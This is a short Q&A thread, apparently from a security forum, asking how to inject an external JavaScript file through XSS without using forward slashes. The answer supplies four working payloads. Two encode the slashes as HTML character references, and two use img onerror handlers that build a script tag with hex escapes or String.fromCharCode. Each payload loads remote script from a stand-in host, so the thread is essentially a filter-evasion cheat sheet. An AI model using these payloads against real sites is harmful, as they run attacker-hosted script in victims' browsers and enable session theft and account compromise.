XSS attack vector without forward slash?

Question

is there an XSS attack vector that allows the inclusion of a external .js file without having to use forward slashes?

let's say the path of the file is somewebsite.com/js/xss.js

Is there a way to pass it to a parameter that it works and without it containing forward slashes

An example that wouldn't work is: <script src='//somewebsite.com/js/xss.js'> This works nice because I don't have to close the tag but it also doesn't work due to the fact that I have to use forward slashes to navigate to the JS file

Answer 1

You can always use character references:

<script src='&#x2f;&#x2f;somewebsite.com&#x2f;js&#x2f;xss.js'>

This also works without quotes:

<script src=&#x2f;&#x2f;somewebsite.com&#x2f;js&#x2f;xss.js>

You could also use JavaScript to inject the script element and generate the / character with JavaScript somehow:

<img src="" onerror="s=document.createElement('script'); s.src='\x2F\x2Fsomewebsite.com\x2Fjs\x2Fxss.js'; document.body.appendChild(s)">

And without any quotes:

<img src= onerror=s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.src=String.fromCharCode(47,47,115,111,109,101,119,101,98,115,105,116,101,46,99,111,109,47,106,115,47,120,115,115,46,106,115);document.body.appendChild(s)>